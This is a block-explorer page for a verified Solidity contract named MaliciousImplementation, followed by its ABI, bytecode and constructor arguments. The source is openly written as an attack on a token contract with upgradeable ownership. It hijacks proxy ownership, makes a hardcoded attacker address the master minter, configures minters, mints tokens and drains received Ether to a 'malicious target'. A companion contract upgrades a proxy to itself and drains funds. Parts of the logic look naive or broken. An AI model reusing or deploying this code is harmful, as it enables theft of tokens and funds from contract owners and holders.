Source Code
Overview
ETH Balance
0 ETH
More Info
ContractCreator
Multichain Info
N/A
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
MaliciousImplementation
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; // Proxy contract for upgradeability contract UpgradeableProxy { address public implementation; address public owner; event Upgraded(address indexed newImplementation); event CallResult(bool success, bytes result); constructor(address _implementation) { implementation = _implementation; owner = msg.sender; } fallback() external payable { (bool success, bytes memory result) = implementation.delegatecall(msg.data); require(success, "Delegatecall failed"); emit CallResult(success, result); } receive() external payable { if (msg.value > 0 && msg.sender != owner) { require(address(this).balance >= msg.value, "Insufficient balance"); upgradeTo(implementation); // Upgrade using current implementation as the placeholder } } function upgradeTo(address _implementation) public { require(msg.sender == owner, "Not authorized"); implementation = _implementation; emit Upgraded(_implementation); } } // Malicious implementation contract contract MaliciousImplementation { address public proxyOwner; address public maliciousTarget; constructor(address _proxyOwner, address _maliciousTarget) { proxyOwner = _proxyOwner; maliciousTarget = _maliciousTarget; } // Hijack ownership of the proxy contract function takeOwnership() external { require(msg.sender == maliciousTarget, "Not authorized"); proxyOwner = maliciousTarget; } // Function to set the masterMinter to the attacker's address (dynamically set) function setMasterMinter() external { require(msg.sender == proxyOwner, "Not authorized"); // Dynamically set the masterMinter to the attacker's address (hardcoded here) address attackerAddress = 0x471aABd39E9aFa5F4798FC04be77C1cF587FB940; (bool success, ) = maliciousTarget.call( abi.encodeWithSignature("updateMasterMinter(address)", attackerAddress) ); require(success, "setMasterMinter failed"); } // Function to configure the attacker as a minter function configureMinter(address _minter, uint256 _allowedAmount) external { require(msg.sender == proxyOwner, "Not authorized"); // Call the victim contract's configureMinter function (bool success, ) = maliciousTarget.call( abi.encodeWithSignature("configureMinter(address,uint256)", _minter, _allowedAmount) ); require(success, "configureMinter failed"); } // Mint tokens to the attacker's address function mint(address _to, uint256 _amount) external { require(msg.sender == proxyOwner, "Not authorized"); // Call the victim contract's mint function (bool success, ) = maliciousTarget.call( abi.encodeWithSignature("mint(address,uint256)", _to, _amount) ); require(success, "Mint failed"); } fallback() external payable {} receive() external payable { if (msg.value > 0 && msg.sender != proxyOwner) { address payable target = payable(maliciousTarget); uint256 balance = address(this).balance; if (balance > 0) { target.transfer(balance); // Drain all funds to the malicious target } } } } // Exploit contract to interact with the vulnerable upgradeToAndCall functionality contract UpgradeToAndCallTester { address public owner; address public maliciousTarget; event FallbackCalled(address indexed caller, bytes data); event CallResult(bool success, bytes result); constructor(address _maliciousTarget) { owner = msg.sender; maliciousTarget = _maliciousTarget; } function destroy() external { require(msg.sender == owner, "Not authorized"); selfdestruct(payable(msg.sender)); } fallback() external payable { emit FallbackCalled(msg.sender, msg.data); } receive() external payable { if (msg.value > 0 && msg.sender != owner) { drainFunds(payable(maliciousTarget)); // Transfer Ether to malicious target } } function complexOperation(uint256 recursiveDepth) external payable { require(msg.sender == owner, "Not authorized"); require(recursiveDepth > 0, "Depth must be greater than zero"); upgradeProxyToMalicious(); drainFunds(payable(maliciousTarget)); recursiveExploit(recursiveDepth); } function upgradeProxyToMalicious() internal { (bool success, ) = address(this).call( abi.encodeWithSignature("upgradeTo(address)", address(this)) ); require(success, "Upgrade to malicious contract failed"); emit CallResult(success, ""); } function drainFunds(address payable _to) internal { uint256 balance = address(this).balance; require(balance > 0, "No funds to drain"); (bool success, ) = _to.call{value: balance}(""); require(success, "Fund transfer failed"); emit CallResult(success, ""); } function recursiveExploit(uint256 depth) internal { if (depth == 0) return; (bool success, ) = address(this).delegatecall( abi.encodeWithSignature("recursiveExploit(uint256)", depth - 1) ); require(success, "Recursive call failed"); } }
[{"inputs":[{"internalType":"address","name":"_proxyOwner","type":"address"},{"internalType":"address","name":"_maliciousTarget","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"_minter","type":"address"},{"internalType":"uint256","name":"_allowedAmount","type":"uint256"}],"name":"configureMinter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maliciousTarget","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"proxyOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMasterMinter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"takeOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801561000f575f5ffd5b50604051610df5380380610df583398181016040528101906100319190610115565b815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050610153565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100e4826100bb565b9050919050565b6100f4816100da565b81146100fe575f5ffd5b50565b5f8151905061010f816100eb565b92915050565b5f5f6040838503121561012b5761012a6100b7565b5b5f61013885828601610101565b925050602061014985828601610101565b9150509250929050565b610c95806101605f395ff3fe608060405260043610610058575f3560e01c8063025313a21461013a57806340c10f1914610164578063415f095f1461018c5780634e44d956146101a25780634f17ba7a146101ca57806360536172146101f457610138565b36610138575f341180156100b857505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15610136575f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f4790505f811115610133578173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610131573d5f5f3e3d5ffd5b505b50505b005b005b348015610145575f5ffd5b5061014e61020a565b60405161015b9190610959565b60405180910390f35b34801561016f575f5ffd5b5061018a600480360381019061018591906109d3565b61022e565b005b348015610197575f5ffd5b506101a0610419565b005b3480156101ad575f5ffd5b506101c860048036038101906101c391906109d3565b610619565b005b3480156101d5575f5ffd5b506101de610804565b6040516101eb9190610959565b60405180910390f35b3480156101ff575f5ffd5b50610208610829565b005b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102b390610a6b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383604051602401610308929190610a98565b6040516020818303038152906040527f40c10f19000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516103929190610b11565b5f604051808303815f865af19150503d805f81146103cb576040519150601f19603f3d011682016040523d82523d5f602084013e6103d0565b606091505b5050905080610414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040b90610b71565b60405180910390fd5b505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049e90610a6b565b60405180910390fd5b5f73471aabd39e9afa5f4798fc04be77c1cf587fb94090505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826040516024016105099190610959565b6040516020818303038152906040527faa20e1e4000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516105939190610b11565b5f604051808303815f865af19150503d805f81146105cc576040519150601f19603f3d011682016040523d82523d5f602084013e6105d1565b606091505b5050905080610615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060c90610bd9565b60405180910390fd5b5050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069e90610a6b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683836040516024016106f3929190610a98565b6040516020818303038152906040527f4e44d956000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161077d9190610b11565b5f604051808303815f865af19150503d805f81146107b6576040519150601f19603f3d011682016040523d82523d5f602084013e6107bb565b606091505b50509050806107ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f690610c41565b60405180910390fd5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108af90610a6b565b60405180910390fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6109438261091a565b9050919050565b61095381610939565b82525050565b5f60208201905061096c5f83018461094a565b92915050565b5f5ffd5b61097f81610939565b8114610989575f5ffd5b50565b5f8135905061099a81610976565b92915050565b5f819050919050565b6109b2816109a0565b81146109bc575f5ffd5b50565b5f813590506109cd816109a9565b92915050565b5f5f604083850312156109e9576109e8610972565b5b5f6109f68582860161098c565b9250506020610a07858286016109bf565b9150509250929050565b5f82825260208201905092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f610a55600e83610a11565b9150610a6082610a21565b602082019050919050565b5f6020820190508181035f830152610a8281610a49565b9050919050565b610a92816109a0565b82525050565b5f604082019050610aab5f83018561094a565b610ab86020830184610a89565b9392505050565b5f81519050919050565b5f81905092915050565b8281835e5f83830152505050565b5f610aeb82610abf565b610af58185610ac9565b9350610b05818560208601610ad3565b80840191505092915050565b5f610b1c8284610ae1565b915081905092915050565b7f4d696e74206661696c65640000000000000000000000000000000000000000005f82015250565b5f610b5b600b83610a11565b9150610b6682610b27565b602082019050919050565b5f6020820190508181035f830152610b8881610b4f565b9050919050565b7f7365744d61737465724d696e746572206661696c6564000000000000000000005f82015250565b5f610bc3601683610a11565b9150610bce82610b8f565b602082019050919050565b5f6020820190508181035f830152610bf081610bb7565b9050919050565b7f636f6e6669677572654d696e746572206661696c6564000000000000000000005f82015250565b5f610c2b601683610a11565b9150610c3682610bf7565b602082019050919050565b5f6020820190508181035f830152610c5881610c1f565b905091905056fea2646970667358221220fdd47ce7396bc477d4a11ba2cdf4a3fce05172459819720b2631c44109577e8d64736f6c634300081c0033000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5
Deployed Bytecode
0x608060405260043610610058575f3560e01c8063025313a21461013a57806340c10f1914610164578063415f095f1461018c5780634e44d956146101a25780634f17ba7a146101ca57806360536172146101f457610138565b36610138575f341180156100b857505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15610136575f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f4790505f811115610133578173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610131573d5f5f3e3d5ffd5b505b50505b005b005b348015610145575f5ffd5b5061014e61020a565b60405161015b9190610959565b60405180910390f35b34801561016f575f5ffd5b5061018a600480360381019061018591906109d3565b61022e565b005b348015610197575f5ffd5b506101a0610419565b005b3480156101ad575f5ffd5b506101c860048036038101906101c391906109d3565b610619565b005b3480156101d5575f5ffd5b506101de610804565b6040516101eb9190610959565b60405180910390f35b3480156101ff575f5ffd5b50610208610829565b005b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102b390610a6b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383604051602401610308929190610a98565b6040516020818303038152906040527f40c10f19000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516103929190610b11565b5f604051808303815f865af19150503d805f81146103cb576040519150601f19603f3d011682016040523d82523d5f602084013e6103d0565b606091505b5050905080610414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040b90610b71565b60405180910390fd5b505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049e90610a6b565b60405180910390fd5b5f73471aabd39e9afa5f4798fc04be77c1cf587fb94090505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826040516024016105099190610959565b6040516020818303038152906040527faa20e1e4000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516105939190610b11565b5f604051808303815f865af19150503d805f81146105cc576040519150601f19603f3d011682016040523d82523d5f602084013e6105d1565b606091505b5050905080610615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060c90610bd9565b60405180910390fd5b5050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069e90610a6b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683836040516024016106f3929190610a98565b6040516020818303038152906040527f4e44d956000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161077d9190610b11565b5f604051808303815f865af19150503d805f81146107b6576040519150601f19603f3d011682016040523d82523d5f602084013e6107bb565b606091505b50509050806107ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f690610c41565b60405180910390fd5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108af90610a6b565b60405180910390fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6109438261091a565b9050919050565b61095381610939565b82525050565b5f60208201905061096c5f83018461094a565b92915050565b5f5ffd5b61097f81610939565b8114610989575f5ffd5b50565b5f8135905061099a81610976565b92915050565b5f819050919050565b6109b2816109a0565b81146109bc575f5ffd5b50565b5f813590506109cd816109a9565b92915050565b5f5f604083850312156109e9576109e8610972565b5b5f6109f68582860161098c565b9250506020610a07858286016109bf565b9150509250929050565b5f82825260208201905092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f610a55600e83610a11565b9150610a6082610a21565b602082019050919050565b5f6020820190508181035f830152610a8281610a49565b9050919050565b610a92816109a0565b82525050565b5f604082019050610aab5f83018561094a565b610ab86020830184610a89565b9392505050565b5f81519050919050565b5f81905092915050565b8281835e5f83830152505050565b5f610aeb82610abf565b610af58185610ac9565b9350610b05818560208601610ad3565b80840191505092915050565b5f610b1c8284610ae1565b915081905092915050565b7f4d696e74206661696c65640000000000000000000000000000000000000000005f82015250565b5f610b5b600b83610a11565b9150610b6682610b27565b602082019050919050565b5f6020820190508181035f830152610b8881610b4f565b9050919050565b7f7365744d61737465724d696e746572206661696c6564000000000000000000005f82015250565b5f610bc3601683610a11565b9150610bce82610b8f565b602082019050919050565b5f6020820190508181035f830152610bf081610bb7565b9050919050565b7f636f6e6669677572654d696e746572206661696c6564000000000000000000005f82015250565b5f610c2b601683610a11565b9150610c3682610bf7565b602082019050919050565b5f6020820190508181035f830152610c5881610c1f565b905091905056fea2646970667358221220fdd47ce7396bc477d4a11ba2cdf4a3fce05172459819720b2631c44109577e8d64736f6c634300081c0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5
-----Decoded View---------------
Arg [0] : _proxyOwner (address): 0xBc0C24E6f24eC2F1fd7E859B8322A1277F80aaD5
Arg [1] : _maliciousTarget (address): 0xBc0C24E6f24eC2F1fd7E859B8322A1277F80aaD5
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5
Arg [1] : 000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5
Deployed Bytecode Sourcemap
1187:2332:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3215:1;3203:9;:13;:41;;;;;3234:10;;;;;;;;;;;3220:24;;:10;:24;;;;3203:41;3199:310;;;3261:22;3294:15;;;;;;;;;;;3261:49;;3325:15;3343:21;3325:39;;3393:1;3383:7;:11;3379:119;;;3415:6;:15;;:24;3431:7;3415:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3379:119;3246:263;;3199:310;1187:2332;;;1227:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2757:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1741:475;;;;;;;;;;;;;:::i;:::-;;2279:424;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1259:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1500:148;;;;;;;;;;;;;:::i;:::-;;1227:25;;;;;;;;;;;;;:::o;2757:358::-;2843:10;;;;;;;;;;;2829:24;;:10;:24;;;2821:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;2939:12;2957:15;;;;;;;;;;;:20;;3041:3;3046:7;2992:62;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2957:108;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2938:127;;;3084:7;3076:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;2810:305;2757:358;;:::o;1741:475::-;1810:10;;;;;;;;;;;1796:24;;:10;:24;;;1788:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;1940:23;1966:42;1940:68;;2020:12;2038:15;;;;;;;;;;;:20;;2128:15;2073:71;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2038:117;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2019:136;;;2174:7;2166:42;;;;;;;;;;;;:::i;:::-;;;;;;;;;1777:439;;1741:475::o;2279:424::-;2387:10;;;;;;;;;;;2373:24;;:10;:24;;;2365:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;2494:12;2512:15;;;;;;;;;;;:20;;2607:7;2616:14;2547:84;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2512:130;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2493:149;;;2661:7;2653:42;;;;;;;;;;;;:::i;:::-;;;;;;;;;2354:349;2279:424;;:::o;1259:30::-;;;;;;;;;;;;;:::o;1500:148::-;1567:15;;;;;;;;;;;1553:29;;:10;:29;;;1545:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1625:15;;;;;;;;;;;1612:10;;:28;;;;;;;;;;;;;;;;;;1500:148::o;7:126:1:-;44:7;84:42;77:5;73:54;62:65;;7:126;;;:::o;139:96::-;176:7;205:24;223:5;205:24;:::i;:::-;194:35;;139:96;;;:::o;241:118::-;328:24;346:5;328:24;:::i;:::-;323:3;316:37;241:118;;:::o;365:222::-;458:4;496:2;485:9;481:18;473:26;;509:71;577:1;566:9;562:17;553:6;509:71;:::i;:::-;365:222;;;;:::o;674:117::-;783:1;780;773:12;920:122;993:24;1011:5;993:24;:::i;:::-;986:5;983:35;973:63;;1032:1;1029;1022:12;973:63;920:122;:::o;1048:139::-;1094:5;1132:6;1119:20;1110:29;;1148:33;1175:5;1148:33;:::i;:::-;1048:139;;;;:::o;1193:77::-;1230:7;1259:5;1248:16;;1193:77;;;:::o;1276:122::-;1349:24;1367:5;1349:24;:::i;:::-;1342:5;1339:35;1329:63;;1388:1;1385;1378:12;1329:63;1276:122;:::o;1404:139::-;1450:5;1488:6;1475:20;1466:29;;1504:33;1531:5;1504:33;:::i;:::-;1404:139;;;;:::o;1549:474::-;1617:6;1625;1674:2;1662:9;1653:7;1649:23;1645:32;1642:119;;;1680:79;;:::i;:::-;1642:119;1800:1;1825:53;1870:7;1861:6;1850:9;1846:22;1825:53;:::i;:::-;1815:63;;1771:117;1927:2;1953:53;1998:7;1989:6;1978:9;1974:22;1953:53;:::i;:::-;1943:63;;1898:118;1549:474;;;;;:::o;2029:169::-;2113:11;2147:6;2142:3;2135:19;2187:4;2182:3;2178:14;2163:29;;2029:169;;;;:::o;2204:164::-;2344:16;2340:1;2332:6;2328:14;2321:40;2204:164;:::o;2374:366::-;2516:3;2537:67;2601:2;2596:3;2537:67;:::i;:::-;2530:74;;2613:93;2702:3;2613:93;:::i;:::-;2731:2;2726:3;2722:12;2715:19;;2374:366;;;:::o;2746:419::-;2912:4;2950:2;2939:9;2935:18;2927:26;;2999:9;2993:4;2989:20;2985:1;2974:9;2970:17;2963:47;3027:131;3153:4;3027:131;:::i;:::-;3019:139;;2746:419;;;:::o;3171:118::-;3258:24;3276:5;3258:24;:::i;:::-;3253:3;3246:37;3171:118;;:::o;3295:332::-;3416:4;3454:2;3443:9;3439:18;3431:26;;3467:71;3535:1;3524:9;3520:17;3511:6;3467:71;:::i;:::-;3548:72;3616:2;3605:9;3601:18;3592:6;3548:72;:::i;:::-;3295:332;;;;;:::o;3633:98::-;3684:6;3718:5;3712:12;3702:22;;3633:98;;;:::o;3737:147::-;3838:11;3875:3;3860:18;;3737:147;;;;:::o;3890:139::-;3979:6;3974:3;3969;3963:23;4020:1;4011:6;4006:3;4002:16;3995:27;3890:139;;;:::o;4035:386::-;4139:3;4167:38;4199:5;4167:38;:::i;:::-;4221:88;4302:6;4297:3;4221:88;:::i;:::-;4214:95;;4318:65;4376:6;4371:3;4364:4;4357:5;4353:16;4318:65;:::i;:::-;4408:6;4403:3;4399:16;4392:23;;4143:278;4035:386;;;;:::o;4427:271::-;4557:3;4579:93;4668:3;4659:6;4579:93;:::i;:::-;4572:100;;4689:3;4682:10;;4427:271;;;;:::o;4704:161::-;4844:13;4840:1;4832:6;4828:14;4821:37;4704:161;:::o;4871:366::-;5013:3;5034:67;5098:2;5093:3;5034:67;:::i;:::-;5027:74;;5110:93;5199:3;5110:93;:::i;:::-;5228:2;5223:3;5219:12;5212:19;;4871:366;;;:::o;5243:419::-;5409:4;5447:2;5436:9;5432:18;5424:26;;5496:9;5490:4;5486:20;5482:1;5471:9;5467:17;5460:47;5524:131;5650:4;5524:131;:::i;:::-;5516:139;;5243:419;;;:::o;5668:172::-;5808:24;5804:1;5796:6;5792:14;5785:48;5668:172;:::o;5846:366::-;5988:3;6009:67;6073:2;6068:3;6009:67;:::i;:::-;6002:74;;6085:93;6174:3;6085:93;:::i;:::-;6203:2;6198:3;6194:12;6187:19;;5846:366;;;:::o;6218:419::-;6384:4;6422:2;6411:9;6407:18;6399:26;;6471:9;6465:4;6461:20;6457:1;6446:9;6442:17;6435:47;6499:131;6625:4;6499:131;:::i;:::-;6491:139;;6218:419;;;:::o;6643:172::-;6783:24;6779:1;6771:6;6767:14;6760:48;6643:172;:::o;6821:366::-;6963:3;6984:67;7048:2;7043:3;6984:67;:::i;:::-;6977:74;;7060:93;7149:3;7060:93;:::i;:::-;7178:2;7173:3;7169:12;7162:19;;6821:366;;;:::o;7193:419::-;7359:4;7397:2;7386:9;7382:18;7374:26;;7446:9;7440:4;7436:20;7432:1;7421:9;7417:17;7410:47;7474:131;7600:4;7474:131;:::i;:::-;7466:139;;7193:419;;;:::o
Swarm Source
ipfs://fdd47ce7396bc477d4a11ba2cdf4a3fce05172459819720b2631c44109577e8d
Loading...
Loading
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.